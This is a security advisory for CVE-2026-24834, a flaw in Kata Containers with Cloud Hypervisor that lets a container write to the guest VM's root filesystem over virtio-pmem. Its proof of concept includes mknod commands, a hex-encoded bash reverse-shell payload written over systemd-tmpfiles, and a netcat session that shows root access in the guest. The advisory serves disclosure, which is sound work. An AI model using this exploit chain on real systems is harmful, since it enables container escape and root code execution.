CVE-2026-24834

Summary

An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).

Details

Linux virtio-pmem

The virtio-pmem probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only.  Only the NDREGIONPAGEMAP and NDREGIONASYNC bits are set before the region is created, so nd_region->ro always stays cleared and the block device is left writable.

Later, pmemattachdisk() wires the region into the block layer with full read/write semantics – the block device operations call pmemdowrite() which performs cache-flushed memcpy operations directly into the host-provided shared memory window. nvdimmcheckandsetro() would set the disk read-only if the region had been flagged as such, but because virtio_pmem never sets that flag, the helper becomes a no-op.

Cloud-Hypervisor virtiopmem_

discard_writes=on causes the file backing the virtio-pmem device to be opened read-only and mapped with MAP_PRIVATE rather than MAP_SHARED. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.

Kata /dev/pmem0

Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting /dev/pmem* device as its root filesystem.

Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open /dev/pmem0 and observe its own writes until the VM is rebooted or the cache is dropped.

PoC

When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need CAPSYSADMIN, but we need CAP_MKNOD) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.

To achieve execution on the Guest, I replaced /usr/bin/systemd-tmpfiles with a connect-back shell to localhost: timers end up executing 15min after boot.

I use debugfs to not require mounting privileges and work directly with the filesystem on /dev/pmem0p1 to get the absolute offset of the file to modify in the device.

If you want a simpler PoC, just dd write something into /dev/pmem0 and observe it's dd readable until discarded.

root@ab5392da44ce:~# mknod /dev/pmem0 b 259 0
root@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1
root@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a
=== Resolution ===
Partition device:         /dev/pmem0p1 (pmem0p1)
Partition start (sectors): 2048
Sector size (bytes):       512
Partition start (bytes):   1048576
Filesystem block size:     4096
File path:                 /usr/bin/systemd-tmpfiles
File offset (bytes):       0
Logical block index:       0
Intra-block offset:        0
Physical block index:      40668
→ Absolute pmem offset:    167624704
[*] Raw read (64 bytes at 167624704):
09fdc000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00 |.ELF............|
09fdc010  03 00 3e 00 01 00 00 00  20 66 00 00 00 00 00 00 |..>..... f......|
09fdc020  40 00 00 00 00 00 00 00  48 82 01 00 00 00 00 00 |@.......H.......|
09fdc030  00 00 00 00 40 00 38 00  0d 00 40 00 20 00 1f 00 |....@.8...@. ...|
[+] Wrote 58 bytes at absolute offset 167624704. Verifying...
09fdc000  23 21 2f 62 69 6e 2f 62  61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|
09fdc010  20 2d 69 20 3e 26 20 2f  64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|
09fdc020  31 32 37 2e 30 2e 30 2e  31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|
09fdc030  26 31 0a 65 78 69 74 20  30 0a                   |&1.exit 0.|
root@ab5392da44ce:~# nc -lvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:44880.
bash: cannot set terminal process group (329): Inappropriate ioctl for device
bash: no job control in this shell
root@localhost:/# 
root@localhost:/# ps auxw
ps auxw
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0  17280  1920 ?        Ss   16:16   0:01 /sbin/init
root           2  0.0  0.0      0     0 ?        S    16:16   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    16:16   0:00 [pool_workqueue_release]
root           4  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-rcu_gp]
root           5  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-sync_wq]
root           6  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-slub_flushwq]
root           7  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-netns]
root           9  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/0:0H-events_highpri]
root          10  0.0  0.0      0     0 ?        I    16:16   0:01 [kworker/0:1-events_power_efficient]
root          12  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-mm_percpu_wq]
root          13  0.0  0.0      0     0 ?        I    16:16   0:00 [rcu_tasks_trace_kthread]
root          14  0.0  0.0      0     0 ?        S    16:16   0:00 [ksoftirqd/0]
root          15  0.0  0.0      0     0 ?        I    16:16   0:00 [rcu_sched]
root          16  0.0  0.0      0     0 ?        S    16:16   0:00 [rcu_exp_par_gp_kthread_worker/1]
root          17  0.0  0.0      0     0 ?        S    16:16   0:00 [rcu_exp_gp_kthread_worker]
root          18  0.0  0.0      0     0 ?        S    16:16   0:00 [migration/0]
root          19  0.0  0.0      0     0 ?        S    16:16   0:00 [cpuhp/0]
root          20  0.0  0.0      0     0 ?        S    16:16   0:00 [kdevtmpfs]
root          21  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-inet_frag_wq]
root          22  0.0  0.0      0     0 ?        S    16:16   0:00 [kauditd]
root          23  0.0  0.0      0     0 ?        S    16:16   0:00 [oom_reaper]
root          24  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-writeback]
root          25  0.0  0.0      0     0 ?        S    16:16   0:00 [kcompactd0]
root          26  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-cryptd]
root          27  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-kblockd]
root          28  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/0:1H]
root          29  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:1-events_unbound]
root          30  0.0  0.0      0     0 ?        S    16:16   0:00 [kswapd0]
root          31  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-xfsalloc]
root          32  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-xfs_mru_cache]
root          33  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/u257:0]
root          34  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-kthrotld]
root          36  0.0  0.0      0     0 ?        S    16:16   0:00 [irq/25-ACPI:Ged]
root          37  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-nfit]
root          38  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/0:2-virtio_vsock]
root          39  0.0  0.0      0     0 ?        S    16:16   0:00 [hwrng]
root          40  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:2-events_unbound]
root          41  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-vfio-irqfd-cleanup]
root          42  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-mld]
root          43  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-ipv6_addrconf]
root          81  0.0  0.0      0     0 ?        S    16:16   0:00 [jbd2/pmem0p1-8]
root          82  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-ext4-rsv-conversion]
root          99  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:3]
root         105  0.0  0.0  62032  2568 ?        Ssl  16:16   0:02 /usr/bin/kata-agent
_chrony      117  0.0  0.0  10692   540 ?        S    16:16   0:02 /usr/sbin/chronyd -F 1
_chrony      120  0.0  0.0  10560   460 ?        S    16:16   0:00 /usr/sbin/chronyd -F 1
root         122  0.2  1.0  44876 31556 ?        S    16:16   0:11 python -m server
message+     124  0.0  0.0   8120   384 ?        Ss   16:16   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         129  0.0  0.0      0     0 ?        S    16:16   0:00 [cpuhp/1]
root         130  0.0  0.0      0     0 ?        S    16:16   0:00 [migration/1]
root         131  0.0  0.0      0     0 ?        S    16:16   0:00 [ksoftirqd/1]
root         132  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/1:0-mm_percpu_wq]
root         133  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/1:0H-events_highpri]
root         134  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/1:1H]
root         142  0.0  0.0   5400  2220 pts/0    Ss   16:16   0:00 bash -l
root         145  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/1:1]
root         323  0.0  0.1  13212  3448 pts/0    R+   16:17   0:00 nc -lvp 443
root         329  0.0  0.0   4780   256 ?        Ss   16:31   0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean
root         330  0.0  0.0   5048   512 ?        S    16:31   0:00 bash -i
root         377  0.0  0.0   7480   256 ?        R    17:33   0:00 ps auxw
root@localhost:/#

Impact

Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)